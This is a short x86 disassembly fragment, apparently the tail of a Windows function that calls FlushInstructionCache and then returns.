mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.KERNEL32.dll_FlushInstructionCache
mov eax, ebx
sub esp, 0xc
add esp, 0x20
pop ebx
pop esi
pop edi
ret 0xc
test ebx, ebx
jne 0x401dbd
add esp, 0x20
xor eax, eax
pop ebx
pop esi
pop edi
ret 0xc